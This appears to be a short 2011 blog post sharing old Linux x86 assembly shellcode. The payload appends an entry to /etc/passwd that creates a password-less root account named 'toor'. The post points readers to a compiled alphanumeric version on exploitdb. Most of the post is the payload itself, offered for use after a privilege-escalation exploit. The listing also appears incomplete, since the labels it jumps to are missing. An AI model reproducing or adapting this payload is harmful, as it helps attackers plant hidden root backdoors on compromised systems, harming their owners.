Thursday, February 10, 2011

some old shellcode...

Going through some old files, I came across some old shellcode I had written. Nothing special but a small payload to append the /etc/passwd file. To be honest its not even that great because to use it, you need an exploit that provides uid=0 such as a kernel null pointer dereference. Anyway, here is the code:

;Payload: Adds the string: [toor::0:0:t00r:/root:/bin/bash] to /etc/passwd thereby adding password-less root account with login name "toor"
;Platform: linux/x86
;Size: 107 bytes
;Author: $andman
Section .data
    global _start
    jmp short callfunc
    pop         esi
    xor         eax, eax
    mov byte    [esi+11], al
    mov byte    [esi+43], al
    mov byte     [esi+42], 0xa
    lea        ebx, [esi+12]
    mov long    [esi+44],ebx
    lea        ebx,[esi]
    mov        cx,1090
    mov        dx,0x1a4
    mov        al,0x05
    int        0x80
    mov long    ebx, eax
    xor         edx,edx
    mov        ecx, [esi+44]
    mov         dl,31
    mov         al,0x04
    int        0x80
    mov        al,0x06
    int        0x80
    mov         al,0x01
    xor         ebx,ebx
    int        0x80
    call func
    db '/etc/passwd#toor::0:0:t00r:/root:/bin/bash #XXXX'

The compiled, alphanumeric code can be taken from exploitdb:

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